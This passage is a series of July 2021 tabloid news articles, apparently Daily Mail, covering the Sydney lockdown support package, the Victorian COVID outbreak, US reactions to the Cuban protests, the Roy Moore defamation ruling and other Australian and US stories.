$12 million in additional funding for temporary accommodation for those at risk of or experiencing homelessness, and  $5.1 million in NSW funding to support mental health. Advertisement

Prime Minister Scott Morrison and Premier Gladys Berejiklian (pictured together) announced the support package on Tuesday

Workers in Fairfield who leave the area must get tested every three days. Pictured: Testing in Fairfield

The federal payment will become recurring during the lockdown, meaning workers do not need to apply every week.

From July 18 the payment will be available to NSW residents who live outside Greater Sydney, with the state government picking up the tab for those workers.

'We know this is not just focused on Sydney, there are many workers doing it tough outside the area and they will now be able to access that program as well,' NSW Treasurer Dominic Perrottet said.

A new small and medium business support payment will be available to companies and charities with an annual turnover between $75,000 and $50million.

The payment will be 40 per cent of a company's weekly wage bill per week, up to a maximum of $10,000.

Companies must show their revenue is 30 per cent lower than an equivalent two week period in 2019 to qualify.

What are the main financial supports available in lockdown? Workers * Any states or territories in an extended lockdown will benefit from a new support package, with NSW being the first state entitled to it. * From week four of a lockdown because of a Commonwealth government declared hotspot, the COVID-19 Disaster Payment will increase to $600 if a person has lost 20 or more hours of work a week or $375 if a person has lost between eight and less than 20 hours of work a week. * The Commonwealth and NSW have also agreed that from July 18 the disaster payment will be available to those outside Commonwealth declared hotspots in NSW that meet the criteria for the payment. * The NSW government will fund any payments outside a Commonwealth declared hotspot, with the Commonwealth continuing to fund payments to recipients in a Commonwealth declared hotspot. Business * A new business support payment will also be available to entities with an annual turnover between $75,000 and $50 million who can demonstrate a 30 per cent decline in turnover. * To receive the payment, eligible entities will be required to maintain their full time, part time and long term casual staffing level as of July 13. * Eligible entities, which includes not-for-profits, will receive payments of between $1500 and $10,000 per week based on the level of their payroll. * For non-employing businesses, such as sole traders, the payment will be set at $1,000 per week. Advertisement

To receive the payment, companies must not sack any full time, part time and long-term staff who are currently employed.

For non-employing businesses, such as sole traders, the payment will be set at $1,000 per week.

The policy will cost half a billion dollars a week, equally funded by the state and federal governments.

Mr Morrison said the aim was to tide businesses over until the lockdown ends.

'I think the NSW economy will come roaring back,' he told radio 2GB after announcing the support.

The state government will also provide payroll tax waivers of 25 per cent for businesses with Australian wages of between $1.2 million and $10 million that have experienced a 30 per cent decline in turnover.

To help small companies, a new grants program for micro businesses with a turnover of between $30,000 and $75,000 which experience a decline in turnover of 30 per cent will be eligible for a $1,500 payment per fortnight of restrictions.

Police in Fairfield on Tuesday as Sydney's outbreak worsened with 89 new cases

Residents in Sydney are only allowed to exercise in groups of two. Pictured: Elizabeth Bay in the city on Tuesday morning

Both the state and federal governments are also providing a combined $17.35 million to support mental health services.

Mr Morrison said the new supports would be available to any state or territory that has a four-week lockdown.

'What I'm announcing today is an upgrading of the Commonwealth Government's national response.

'It is certainly our hope and ambition that we would not see lockdowns extending to other states and territories but Covid-19 will set those rules.'

He added: 'As lockdowns extend into another week in NSW, households and businesses need this assistance to get them through the lockdown to the other side, ready to reopen.'

Sydney's lockdown was due to end on Friday but Premier Gladys Berejiklian has extended it for another two weeks.

Some 97 new cases were recorded on Wednesday, most in Fairfield.
A desperate mum stranded in Nepal and trying to return home has been infuriated by a bland response to her plea for help from Australian authorities.

Pragya's toddler daughter's Nepalese visa expires on August 10, but the soonest she could get a flight was August 23.

The gap between the visa expiration and her flights from Kathmandu potentially place them at risk of detention in Nepal.

The mum-of-three sent an urgent plea to the Australian embassy but was told, 'you should try to bring forward her flight'.

'We would suggest you work with travel providers and/or airlines to secure a flight for her and yourself prior to August 10, 2021.'

'They send me this email, as if I haven't tried to do that,' Pragya fumed in a post on Facebook group for stranded Australians.

'I am so p***ed off want to complain but I don't know where to complain.'

Pragya is one of more than 14,000 people in the group, which is a forum for expats to detail their frustrations in trying to return home during the pandemic.

More than 36,000 Australians are still stranded overseas and trying to return home.

About 10,000 of those are in India, one of the worst-affected nations by Covid, with more than 400,000 deaths.

The US, with 623,000, remains by far the worst-hit, with nearly 90,000 more deaths than Brazil.

An online search for flights from Kathmandu to Sydney shows there are no available flights before September 30 - and that one costs US$75,624 (AU$101,310)

Fellow members in the group had more savvy advice for her.

'Trust me, no country likes to put anyone in detention because it costs them a place plus money to feed someone. So somehow that will work out to your advantage,' one man wrote.

He suggested using a list of flight cancellations and a contact name at the Australian embassy to plead with Nepalese authorities to grant an extra two-week extension to the visa.

Daily Mail Australia reached out to Pragya, the Australian Embassy, Nepal, and Honorary Consulate General of Nepal for comment.
Republicans are criticizing President Joe Biden's State Department for inviting United Nations 'experts' who investigate racism and minority issues to conduct an official visit to the U.S.

Instead, they claim the group should be sent to Cuba amid massive public uprising against the government there.

'Responsible nations must not shrink from scrutiny of their human rights record; rather, they should acknowledge it with the intent to improve,' Secretary of State Antony Blinken said in a statement on Tuesday night.

He added: 'I urge all U.N. member states to join the United States in this effort, and confront the scourge of racism, racial discrimination, and xenophobia.'

Republicans claim the move is 'insane', especially while the Cuban government is beating up protesters in the street and other governments, like the Chinese Communist Party, are committing human rights abuses around the world.

Nikki Haley, the former U.S. ambassador to the U.N. under Donald Trump, told Fox News: 'China has one million Uyghurs in concentration camps, Cuba is beating protesters, and Venezuela is torturing political prisoners.

'Yet Biden's Secretary of State is inviting the U.N. to investigate human rights in the United States  the freest, fairest country in the world,' she added. 'This is insane.'

Former U.S. Ambassador to the United Nations Nikki Haley and other Republicans are lashing out at Joe Biden's State Department for inviting UN 'experts' to investigate treatment of minorities in the U.S.

Marc Rubio, a senator from Florida, posted about the violent protests and clashes in Cuba currently, claiming that's a bigger issues for the UN to address than 'telling us how 'racist' America is'

Missouri Senator Josh Hawley demanded that Biden spend energy investigating the reports of COVID-19 originating in a Wuhan lab instead of getting the U.N. to probe racism in America

Marco Rubio, a Florida senator, also joined the backlash and tweeted 'instead of asking the UN to come here & tell us how 'racist' America is, why don't you ask them to go to #Cuba where an evil socialist regime storms into peoples homes, beats the c*** out of them & then drags them away?'

Missouri Senator and Trump ally Josh Hawley tweeted: 'Joe Biden's priorities: getting the UN to investigate America for racism. Maybe the President should devote some energy to investigating the origins of #COVID19'.

Blinken said the United States welcomed the U.N. Human Rights Council's adoption on Tuesday of a resolution to address systemic racism against Africans and people of African descent in the context of law enforcement.

'As the President has repeatedly made clear, great nations such as ours do not hide from our shortcomings; they acknowledge them openly and strive to improve with transparency,' Blinken said in a statement.

'In so doing, we not only work to set the standard for national responses to these challenges, we also strengthen our democracy, and give new hope and motivation to human rights defenders across the globe.'

Secretary of State Antony Blinken announced on Wednesday the invitation to the U.N. Special Rapporteur on contemporary forms of racism and minority issues

The murder of George Floyd, a black man, by a former Minneapolis police officer in May 2020 sparked nationwide protests and violent riots calling for more to be done about racism and police brutality.

The uprisings led to Democrats calling for the defunding of law enforcement agencies across the country and an overhaul of the policing system in the U.S.

Biden made fighting racial inequality a key platform of his 2020 campaign.

Blinken said the invitation to the U.N. Special Rapporteur on contemporary forms of racism and the U.N. Special Rapporteur on minority issues was the first step on a plan to issue a standing invitation to all U.N. experts who report on human rights issues.

The current Special Rapporteur is E. Tendayi Achiume from Zambia  she has served in that post since November 2017.
Victoria has recorded eight new coronavirus cases on Wednesday with half of them linked to a single apartment block, while 2,000 footy fans have been put on high-alert after being exposed at the MCG.

The state's COVID-19 Response Commander Jeroen Weimar confirmed the new cases were discovered in the early hours after identifying one new case on Tuesday night.

Four of the cases were linked to the Ariele Apartments in the inner-west Melbourne suburb of Maribyrnong, after infected removalists from Sydney worked at the complex late last week.

A resident of the building aged in his 60s, as well as his parents aged 89 and 90, have all tested positive.

Three other new cases are from another apartment in the building. The two infected apartments are on the same floor.

Thousands of supporters in the members section of the MCG at the Carlton vs Geelong game on Saturday have been identified as close contacts and are now isolating after a person infected with the virus attended the game.

The person in attendance also visited Highpoint Shopping Centre on July 9, with Dr Weimar saying more exposure sites will be announced today.

Victoria has recorded eight new coronavirus cases on Wednesday, with half linked to ground-zero apartment block Ariele Apartments in Maribyrnong (pictured)

A resident of the building aged in his 60s, as well as his parents aged 89 and 90, have all tested positive as the complex remains locked down

Thousands of supporters in the members section of the MCG at the Carlton vs Geelong game on Saturday are now isolating after an infected person attended the match

The person at the MCG game also visited Highpoint Shopping Centre on July 9, with Dr Weimar saying more exposure sites will be announced today

'I appreciate this will be concerning news to the people in that (Maribyrnong building,' the Covid-19 Response Commander said.

'The next two days are critical... we are right on the heels of this outbreak.'

Dr Weimar said it has been a 'frustrating and challenging' process interviewing the removalists as they attempt to identify further exposure sites and close contacts.

'Well they're not being deliberately forthcoming, let me put it that way,' he said.

Level 2 of the MCC Members' Reserve has been listed as a Tier 2 exposure site, meaning people must seek a test and isolate until they receive a result.

Anyone on Level 3 must monitor symptoms after it was listed as a low-risk Tier 3 exposure site.

MELBOURNE'S EXPOSURE SITES Highpoint Shopping Centre: Tier 1: The Reject Shop, July 9 between 11.30am and 12.10pm Tier 1: SkinKandy, July 9 between 11.15am and 12.35pm Tier 2: North Carpark Level 1, July 9 between 11.10am and 11.30am AND 12pm-12.30pm Tier 2: North Carpark Level 2, July 9 between 12pm and 12.30pm Tier 2: MCC Members Level 2 - Saturday July 10 Tier 3: MCC Members Level 3 - Saturday July 10 Advertisement

Dr Weimar said it has been a 'frustrating and challenging' process interviewing the removalists as they attempt to identify further exposure sites and close contacts

A resident of the building aged in his 60s, as well as his parents aged 89 and 90, have all tested positive. Three other new cases are from another household in the building

Earlier, Victorian Premier Dan Andrews accused the federal government of 'double standards' after a $1.5billion-a fortnight relief package for New South Wales businesses struggling in lockdown was announced.

Prime Minister Scott Morrison announced the taxpayer funded package on Tuesday as Sydneysiders endure their third week of a harsh lockdown, with no end in sight and an extension likely to be brought in before Friday.

The announcement prompted a scathing reply from Mr Andrews who claimed Victoria did not receive the same support when it was going through a lengthy lockdown in 2020.

'Everyone in Australia believes that people in Sydney and NSW deserve every possible support as they battle a second wave and a long lockdown,' Mr Andrews said in a statement.

'But Victorians are rightly sick and tired of having to beg for every scrap of support from the federal government.'

'It shouldn't take a crisis in Sydney for the Prime Minister to take action but we are seeing the same double standard, time and time again.'

Victorian Premier Dan Andrews (pictured) said a new funding package for NSW residents under lockdown was the federal government playing favourites

Treasurer Josh Frydenberg said the Victorian government was being 'childish and petulant' and Scott Morrison also dismissed any suggestions of unfairness.

'The Victorian government has been strongly supported by the Commonwealth, particularly last year during those terrible lockdowns, and I have no doubt that people in Melbourne and across Victoria just want to ensure that Sydney can get through this,' Mr Morrison told Today.

'We were putting three-quarters of a billion dollars every single week into Victoria while they went through that lockdown.'

A government spokesman said Mr Andrews should spend more time trying to find solutions rather than 'politicising' the issue.

'The NSW government has worked constructively with the Commonwealth to support their households and businesses,' a government spokesman said.

'While the Victorian government's politicised approach has unfortunately been to issue decrees by media instead of picking up the phone to find solutions as a partnership.'
A fiery showdown erupted between a farmer and a vegan activist after the controversial campaigner openly admitted he wants to destroy the dairy industry.

Notorious 'vegan celebrity' Joey Carbstrong, 34, was interrupted during one his notorious animal rights stunts by an indignant dairy farmer.

In a video that has recently resurfaced on TikTok, a dairy farmer from southern NSW told Mr Carbstrong that he needed to be 'very careful' protesting the industry.

Notorious 'vegan celebrity' Joey Carbstrong, 34, was interrupted during one his public animal rights stunts by an indignant dairy farmer who said the protest could 'ruin our industry'

'You could ruin our industry,' the farmer said, to which the vegan activist replied: 'Well that's what we're trying to do'.

'We want the dairy industry to be obsolete because of the victims involved.'

As the farmer throws his head back and laughs, Mr Carbstrong claimed that he didn't want the farmer out of a job.

'If you come down to the south west and you look at the communities there, the whole south west is riding on the cow's back and here you are trying to destroy it,' the man retorted.

Mr Carbstrong said he believed the cow was a victim and didn't have a choice in being slaughtered, prompting the men to go back and forth once again.

'You go down there and you tell me if you can see a bad looking cow. Those cows are in perfect, mint condition,' the farmer said.

'You could ruin our industry', the farmer said, to which the vegan activist replied, 'Well that's what we're trying to do'

'When they go into the slaughterhouse, they come out chopped up in pieces. They are victims,' the activist replies.

The farmer concludes his argument by telling the activist they don't live in a perfect world, but the activist is quick to call bluff on his excuse.

'We can say that about any form of animal abuse, we don't live in a perfect world, so it's ok to abuse animals for money,' Mr Carbstrong said.

The activist offers examples of other 'ethical ways of living' including plant-based milks, which the farmer openly grimaces at.

'We just love the bloody meat on our plate,' the man says as he walks away.

Mr Carbstrong told Daily Mail Australia the idea behind his animal rights activism was to make the public aware of the 'inherent immorality' of animal agriculture.

The activist said the dairy industry was responsible for some of the worst crimes against animals, including the sexual violation of stud bulls to collect semen.

'So yes, we as a movement seek to destroy morally bankrupt animal abuse industries like dairy,' Mr Carbstrong said.

'We encourage a boycott of their industries and hope to make way for more ethical alternatives that dont involve the enslavement and killing of non-human animals.'

The controversial vegan activist recently set up a stall outside the Gold Coast Sea World in a bid to tempt patrons with cans of his 'sustainable dolphin meat'

Mr Carbstrong's latest antic, which was supposed to raise awareness of dolphin deaths in tuna nets, was quickly interrupted by security who asked the activist to leave

Earlier this month the self-proclaimed 'animal-defender' was kicked out of the Gold Coat Sea World after he handed out 'dolphin meat' samples to customers.

His latest stunt, which was supposed to raise awareness of dolphin deaths in tuna nets, was quickly interrupted by security who asked the activist to leave.

The outspoken vegan once compared artificial insemination of cattle to 'sexual abuse' on British breakfast television and has also gained media attention for his protests at 'slaughterhouses'.

He regularly uploads his notorious animal rights stunts on YouTube and boasts 162,000 followers on Instagram.

Daily Mail Australia has contacted Mr Carbstrong for comment.
NSW Chief Health Officer Kerry Chant and Treasurer Dominic Perrottet have denied claims he wanted to cut her pay after she extended the Northern Beaches lockdown last year.

A Liberal Party source told the Australian Financial Review that Mr Perrottett suggested in a crisis meeting that Dr Chant's pay should be cut by five per cent in solidarity with workers and businesses losing income due to the lockdown.

On December 28 the lockdown of the northern zone of Sydney's Northern Beaches was extended until January 9 and residents in the southern zone were told to stay home until January 2.

The source - who was briefed by someone at the meeting but was not there - claimed Mr Perrottet said Dr Chant should sacrifice some of her salary if the extensions turned out to be unnecessary.

Asked about this on Tuesday, Dr Chant said: 'I have no recollection of the Treasurer making that comment.'

Premier Gladys Berejiklian added: 'He didn't. I've been in all the meetings. It's not true.'

Later in Tuesday's press conference, Mr Perrottet also said: 'I have no recollection of that.'

As the man in charge of the state's finances, Mr Perrottet is known to be more anti-lockdown than some of his NSW cabinet colleagues.

It comes as Sydney's lockdown is extended by at least two weeks after the city recorded another 97 Covid cases on Wednesday.

Premier Gladys Berejiklian said 24 of those infections were out in the community for at least part of the time they were infected, and 36 mystery cases are still under investigation.

Health workers speak to members of the public at a pop-up Covid-19 testing clinic at the Fairfield Showgrounds in Sydney on Wednesday

There are 71 Covid patients in hospitals across the state (an increase of six on Tuesday's figure) and 20 in intensive care (down one from Tuesday) and still four on ventilators.

The state's outbreak, which began in Sydney's eastern suburbs on June 16, has reached 864 people with 825 still classified as active cases - an increase of 80 in one day.

The 97 new cases in Sydney were found from 65,332 tests; a positive rate of 0.15 per cent.

Ms Berejiklian said the city's strict lockdown - which includes Greater Sydney, the Blue Mountains, the Central Coast and Wollongong - will be extended at least until 11.59pm on July 30, and would continue after that unless the number of carriers active in the community dropped to near zero.

'It always hurts to say this, but we need to extend the lockdown for at least another two weeks,' she said.

'I appreciate people are stressed and upset about what is going on, myself included. None of us want to be in this situation.'

Greater Sydney's five million residents will continue to be banned from leaving the home unless they have an essential reason, and online learning for schools will be compulsory for at least the next fortnight despite the Premier having previously promised it would only be for this week.

NSW Health said 70 of the cases came from south-west Sydney, but that there were now other suburbs across the city which are of 'significant concern'.
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Miami Mayor Francis Suarez, the 43-year-old Miami-born lawyer whose father was the first-ever Cuban-born mayor of the South Florida city, told Fox News on Tuesday that the option of military air strikes has to be explored.

The Mayor of Miami has said Joe Biden should consider airstrikes on Cuba in support of Havana dissidents as supporters took to the streets in cities across the US on Tuesday to show solidarity with anti-communist protesters.

Talk of possible American military action in Cuba prompted warnings from Iran, Russia, and China on Tuesday.

In Moscow, Russian Deputy Foreign Minister Sergei Ryabkov said the Kremlin 'stressed the inadmissibility of foreign interference and other destructive actions that are fraught with the destabilization in Cuba.'

A spokesperson for the Chinese Foreign Ministry in Beijing said 'the US embargo is the root cause of Cuba's shortage of medicines and energy.'

'China firmly opposes foreign interference in Cuba's internal affairs, firmly supports what Cuba has done in fighting COVID-19, improving people's livelihood and upholding social stability, and firmly supports Cuba in exploring a development path suited to its national conditions,' Chinese Foreign Ministry spokesperson Zhao Lijian said.

Iran, which has also faced economic sanctions imposed on it by Washington, echoed the sentiments of Russia and China.

'In this situation, where the United States is primarily responsible for the many problems created for the Cuban people, it is trying to appear as a supporter of the Cuban protests and has tried to interfere in the internal affairs of this country in a blatant violation of international rules,' Iranian Foreign Ministry spokesperson Saeed Khatibzadeh told reporters on Tuesday.

Miami Mayor Francis Suarez, the 43-year-old Miami-born lawyer whose father was the first-ever Cuban-born mayor of the South Florida city, told Fox News on Tuesday that the option of military air strikes has to be explored.

Cuban-Americans attend a demonstration to support the protesters in Cuba. They are seen above blocking the Palmetto Expressway in Miami, Florida on Tuesday

The large group gathered at a busy Miami intersection chanting support for the Cubans, who had taken to the streets in the communist nation Sunday to air grievances about poor economic conditions and other complaints

In Tampa, Cuban Americans took to the streets to express solidarity with protesters back in their native land on Tuesday

Demonstrators hold placards during a rally held in solidarity with anti-government protests in Cuba in New York City's Times Square on Tuesday

Members of New Jersey's Cuban community gather for a rally calling for the liberation of the Cuban people in North Bergen, New Jersey on Tuesday

Demonstrators protest the Communist government in Cuba while waving flags and banners outside the White House in Washington, DC on Tuesday

A Cuban police officer on Tuesday blocks the passage in the areas surrounding the Capitol in Havana after a government crackdown on demonstrators

'What should be contemplated right now is a coalition of potential military action in Cuba, similar to what has happened... in both Republican and Democrat administrations,' Suarez said.

He then referenced the 1989 American invasion of Panama under President George H.W. Bush and US-led NATO air strikes in Yugoslavia during the Kosovo War in 1999.

'They deposed Noriega and that country had peaceful democracy for decades... And President Clinton in Kosovo, intervening in a humanitarian issue with air strikes.'

Cuban Americans gather in the Little Havana section of Miami on Tuesday to denounce the Cuban government

Demonstrators in Miami (above) waved Cuban flags and chanted slogans in support of anti-government protesters on the island

Cuban American protesters in Miami (above) waved flags and carried signs denouncing the government in Havana on Tuesday

South Florida is home to the largest US population of Cuban Americans. The image above shows a protest in the Little Havana section of Miami

Cuban Americans attend a demonstration to support the protesters in Cuba, blocking the Palmetto Expressway in Miami

The image above shows protesters blocking the Palmetto Expressway in Miami on Tuesday

Suarez later told the Miami Herald that he was not advocating for air strikes or any other form of military intervention, though he did say that policymakers should consider using the military in some capacity.

Im not a military expert, he said.

Im not going to sit here and opine on what kind of military intervention should be used.

Meanwhile, Cuban authorities confirmed on Tuesday that one person has died during demonstrations that have shaken the island in recent days by protesting over food shortages, high prices and other grievances against the government.

The Interior Ministry said in a statement that Diubis Laurencio Tejeda, 36, died on Monday during a clash between protesters and police in the Arroyo Naranjo municipality on the outskirts of Havana.

Carlos Herrera, a member of the Permian Basin Cuban community, waves a Cuban flag during a demonstration in Odessa, Texas

Maikel Villega waves a Cuban flag in Odessa, Texas on Tuesday as he leads a demonstration in support of the widespread protests across Cuba

Protesters in Odessa, Texas hold up signs and flags of Cuba while calling for the government in Havana to be toppled

It said an unspecified number of people were arrested and there were some people injured, including some officers.

The statement accused demonstrators of vandalizing houses, setting fires and damaging power lines.

It also alleged they attacked police and civilians with knives, stones and other objects.

Demonstrations that erupted Sunday have seen thousands of Cubans in the streets voicing grievances against shortages of goods, rising prices and power cuts, and some protesters have called for a change of government.

Havana still had a heavy police presence Tuesday, with officers particularly guarding key points such as the Malecon coastal promenade and the Capitol. Internet and cellphone data service continued to be disrupted.

There were no reports of new protests, which the government has sought to blame on Cuban Americans using social media to instigate unrest in Cuba.

A Cuban American in North Bergen, New Jersey is seen above attending a march as the community reacts to reports of protests in Cuba

Hundreds of Cuban American expatriates turned out for a rally in North Bergen, New Jersey to denounce the government in Havana on Tuesday

Cuban Americans wave Cuban and US flags during a demonstration on Tuesday in North Bergen, New Jersey

A member of the Cuban American community wears a flag as he peers out over a demonstration in North Bergen, New Jersey on Tuesday

The demonstrations in several cities and towns were some of the biggest displays of antigovernment sentiment seen in years in tightly controlled Cuba, which is facing a surge of coronavirus cases as it struggles with its worst economic crisis in decades as a consequence of US sanctions imposed by President Donald Trumps administration.

In the United States, demonstrators expressing solidarity with the thousands of Cubans who waged a rare weekend of protests around their island nation shut down a stretch of a major South Florida expressway Tuesday.

The large group gathered at a busy Miami intersection chanting support for the Cubans, who had taken to the streets in the communist nation Sunday to air grievances about poor economic conditions and other complaints.

A few miles away, hundreds of supporters gathered for hours Tuesday evening at a park. The peaceful crowd waved flags and cheered on the efforts of island protesters.

Flavia Perez, 16, was brought to the United States at age 1.

She joined the rally at Tamiami Park, saying, Im here to support young Cubans on the island so they have the same opportunities as I have in the US.

South Florida is home to the largest US population of Cuban Americans.

News helicopter footage from broadcaster WTVJ showed demonstrators earlier Tuesday marching to Miami's Palmetto Expressway, where many blocked traffic in the afternoon.

Elsewhere, Florida's Republican Governor Ron DeSantis held a round table with elected officials, including members of Congress.

The gathering at Miami's American Museum of the Cuban Diaspora was closed to reporters, but the governor later asserted that protests in Cuba were more than just about shortages of vaccines, food and other basic items.

Police in Tampa block off Dale Mabry Highway during a protest against the Cuban government on Tuesday

Cuban Americans wave Cuban flags as they block Dale Mabry Highway in Tampa on Tuesday

Protesters hold banners and signs and wave Cuban flags during a demonstration in Tampa on Tuesday

A Cuban American protester holds a sign that reads 'Long live free Cuba' in Tampa on Tuesday

Cuban Americans rally against the communist regime in Havana during a demonstration in Tampa on Tuesday

Tampa police look on as people wave Cuban and American flags in Tampa on Tuesday

The image above shows a police officer looking on during a protest by Cuban Americans in Tampa on Tuesday

Cuban Americans wave flags of their native land during a demonstration in Tampa on Tuesday

They are revolting against a corrupt communist dictatorship that has ruled that island with an iron fist for over 60 years, that is responsible for death and destruction, not just on the island of Cuba but really throughout the Western Hemisphere, DeSantis said at a news conference.

He said the demonstrators desire a free society.

Nationwide protests last year under the Black Lives Matter movement drew attention to racial injustice in the US after the killings of black people by police.

Earlier this year, DeSantis signed into Florida law a measure that enhances penalties against protestors who turn violent and allows criminal penalties against those who organize protests that turn violent.

DeSantis dismissed similarities between Black Lives Matter and Tuesday's demonstrators.

These are people that are rebelling against a communist dictatorship, the governor said.

He said the demonstrations in Miami were fundamentally different than what we saw last summer.

DeSantis, who is said to be considering a run for the White House in 2024, declined a direct response when asked how Democratic President Joe Biden's administration should handle Cuba policy.

But he said federal officials shouldn't be satisfied with small Cuban government accommodations designed to quell demonstrations.

Republican US House Rep. Maria Elvira Salazar, the daughter of Cuban exiles, said the community needs to speak with one voice urging the Biden administration to stand tough against the Cuban government.

We cannot negotiate with the regime at this hour, Salazar said.

The image above shows demonstrators waving Cuban flags during a rally in New York's Times Square on Tuesday

A demonstrator holds up a sign during a protest against the Cuban government in New York's Times Square on Tuesday

Meanwhile, the US Coast Guard in Miami has been monitoring for any unsafe and illegal crossings between Florida and Cuba in response to rare street protests on the island.

Rear Adm. Eric C. Jones issued a warning statement Monday night as groups of Cuban immigrants said they planned to travel in boats filled with supplies to Cuba to show support for the Cuban protesters.

In Miami, Cuban social media personalities posted Monday that they would make the 10-hour boat ride to Cuba to show support after rare street protests broke out over the weekend, the Miami Herald reported.

The influencers said they would bring aid  and guns  and urged people in Miami to offer up their boats.

One group gathered Monday night at a marina and people brought cases of bottled water, flashlights and boxes of canned pasta, the newspaper reported.

Water, food, medicine, whatever we can take to Cuba. Whatever we can take to help is good, organizer Dennis Suayero told WSVN.

The group didn't get very far Monday night.

A message posted on organizer Santiago Rivera's Instagram account early Tuesday said the Coast Guard stopped his group from traveling.

Over the weekend, thousands of Cuban Americans gathered in Miami's Little Havana in support of Cuban street marches against high prices and food shortages on the island.

Such unsanctioned protests are extremely rare, and Cuban police were out in force Monday to control them.

The last such demonstrations in Havana took place in 1994. President Miguel Diaz-Canel accused Cuban Americans of using social media to egg them on.

Suarez tweeted that he has never felt such raw emotion from the people of Miami desperate for intervention by the government and by themselves on behalf of Cuba.

Miami wasnt the only Florida city where demonstrators gathered.

For a second day, Cuban-Americans in Tampa gathered Tuesday at an intersection, blocking traffic and waving Cuban flags.

Like the group in South Florida, Tampa demonstrators attempted to gain access to Interstate 275, but police held them back.

Television images showed dozens of protesters in a city that traces its Cuban heritage back generations.

Orlando also had hundreds of protestors blocking a busy street for about an hour Tuesday evening.
A judge has thrown out Roy Moore's $95million defamation lawsuit against Sacha Baron Cohen over claims the comedian had falsely suggested he was a sex offender.

The failed US Senate candidate from Alabama claimed that Baron Cohen publicly slandered him by falsely portraying him as a pedophile on the actor's Showtime comedy prank series 'Who Is America?'.

Moore, 74, was duped into appearing on a five-minute portion of the show, which was broadcast on July 18, 2018, with Baron Cohen, 49, pretending to be an Israeli counterterrorism instructor.

But US District Judge John Cronan threw out the defamation case on Tuesday, which was filed by Moore and his wife Kayla in September 2018, because Moore had signed a waiver.

A US judge has thrown out Roy Moore's $95 million defamation lawsuit against Sacha Baron Cohen (both pictured) over claims the comedian had falsely suggested he was a sex offender

Cronan claimed his consent agreement barred him from suing the actor, Showtime and its parent company ViacomCBS Inc over the broadcast, including for intentional infliction of emotional distress and fraud.

Moore sued the actor over his appearance on Baron Cohen's prank show, where the former Alabama judge had expected to receive an award for supporting Israel.

Instead, Baron Cohen pretended to be an Israeli counterterrorism instructor called Erran Morad and the actor's character demonstrated a supposed pedophile-detecting device that beeped each time it came near Moore.

Moore lost his 2017 Senate race to Democrat Doug Jones after being accused of sexual misconduct toward female teenagers while in his 30s. He has denied wrongdoing.

After the show aired, Moore and his wife sued for defamation and emotional distress after Moore was 'falsely portrayed as a sex offender and pedophile' on the segment.

The Moores were believed to have warned Cohen and his production team at the time that if the 'offensive and defamatory interview' was aired, they would sue.

In a 26-page decision, Cronan said the segment was 'clearly a joke', and no reasonable viewer would see it differently.

'It is simply inconceivable that the program's audience would have found a segment with Judge Moore activating a supposed pedophile-detecting wand to be grounded in any factual basis,' Cronan wrote.

Failed US senate candidate Roy Moore (left) claimed that Sacha Baron Cohen (right) slandered him by falsely portraying him as a sex offender on a comedy prank series that aired on Showtime

The Moores quickly appealed.

'Judge Cronan's ruling makes no factual and legal sense,' Larry Klayman, a conservative lawyer representing the Moores, said in a statement.

'To the contrary, Judge Cronan's dismissal is the joke, and more than a bad joke at that.'

Showtime declined to comment. Lawyers for Baron Cohen did not immediately respond to requests for comment.

Roy Moore earlier sought to disqualify Cronan, an appointee of former Republican President Donald Trump, for allegedly opposing his political and religious beliefs.

In a statement in July 2018, Moore said: 'In February 2018, I was invited to Washington D. C. to receive an award for my strong support of Israel in commemoration of her 70th anniversary as a nation.

'Because Alabama has always been at the forefront of support of Israel and because I share a strong belief in God as the Creator and Sustainer of all life, as does Israel, I eventually accepted the invitation.

'Expenses were paid, and I received no private remuneration for my time or participation.

'I did not know Sacha Cohen or that a Showtime TV series was being planned to embarrass, humiliate, and mock not only Israel, but also religious conservatives such as Sarah Palin, Joe Walsh, and Dick Cheney.'

'As for Mr. Cohen, whose art is trickery, deception, and dishonesty, Alabama does not respect cowards who exhibit such traits!' Moore wrote.

Roy Moore (left) sued the actor over his appearance on Sacha Baron Cohen's prank show, where the former Alabama judge had expected to receive an award for supporting Israel

Instead, Baron Cohen pretended to be an Israeli counterterrorism instructor Erran Morad and demonstrated a supposed pedophile-detecting device that beeped when it came near Moore

During his 2017 Senate race, Moore faced accusations that he pursued romantic and sexual relationships with teens as young as 14 when he was a prosecutor in his 30s. He had always denied the misconduct allegations.

'Sacha Baron Cohen, who is not only low-class but also a fraudster, will now, along with Showtime and CBS, be held accountable for his outrageous and false, fraudulent and defamatory conduct which callously did great emotional and other damage to this great man and his wife and family,' Klayman said in a statement.

Klayman said Moore thought he was receiving an award for supporting Israel when he agreed to appear on the show.

In the segment, Baron Cohen appeared as the bushy eye-browed faux counterterrorism instructor discussing bogus military technology, including a supposed pedophile detector.

As the device repeatedly beeped when it came near Moore, he sat stone-faced and asked to end the interview early.

Baron Cohen's show has also pranked several other political figures.

The actor has faced past lawsuits over similar pranks, but those actions faltered because the individuals had signed releases.

Baron Cohen won a dismissal in 2007 of a lawsuit by two former fraternity students who claimed they were duped while drunk into appearing in his film 'Borat! Cultural Learnings of America for Make Benefit Glorious Nation of Kazakhstan.'

Baron Cohen won a dismissal in 2007 of a lawsuit by two former fraternity students who claimed they were duped while drunk into appearing in his film 'Borat! Cultural Learnings of America for Make Benefit Glorious Nation of Kazakhstan.'

And in 2008, a New York judge tossed out lawsuits brought by a driving instructor and two etiquette school teachers who said they were duped into appearing in the movie, in which Baron Cohen played an awkward foreign journalist traveling the United States.

The judge said they accepted money and signed agreements releasing the filmmakers from liability.

Moore's lawsuit suggests that he too signed a release, but contends it was fraudulently obtained.

Moore's lawyer wrote that when they tried to stop the segment from airing, 'defendants CBS, Showtime and thus Baron Cohen were informed that the release that Judge Moore had signed was obtained through fraud, and was therefore void and inoperative.'

'Had Judge Moore and Mrs. Moore known that 'Erran Morad' was Defendant Cohen, Judge Moore would have never agreed to be interviewed,' Moore's lawyer wrote in the lawsuit.
A woman accused of sparking a national food safety panic when needles were found inside strawberries has had all charges against her dropped.

Former strawberry farm supervisor My Ut Trinh, 51, was due to stand trial charged with food contamination offences.

However, the start of the Brisbane District Court trial was delayed after two days of legal argument and Ms Trinh was told on Wednesday that prosecutors had dropped all charges.

'The prosecution have indicated that they will no longer proceed against you with these charges,' Justice Michael Byrne said.

'You are now discharged and you can leave the dock.'

My Ut Trinh has had all charges against her dropped by prosecutors. She's pictured leaving Brisbane District Court on Tuesday

Outside court Ms Trinh and supporters embraced and wiped away tears.

'Thank you. I don't know how to talk. I no talk but I work my job nearly 20 years, I eat fruit every day,' she told AAP.

'I no work for almost three years.'

Supporters said Ms Trinh had been separated from the world for three years since being charged.

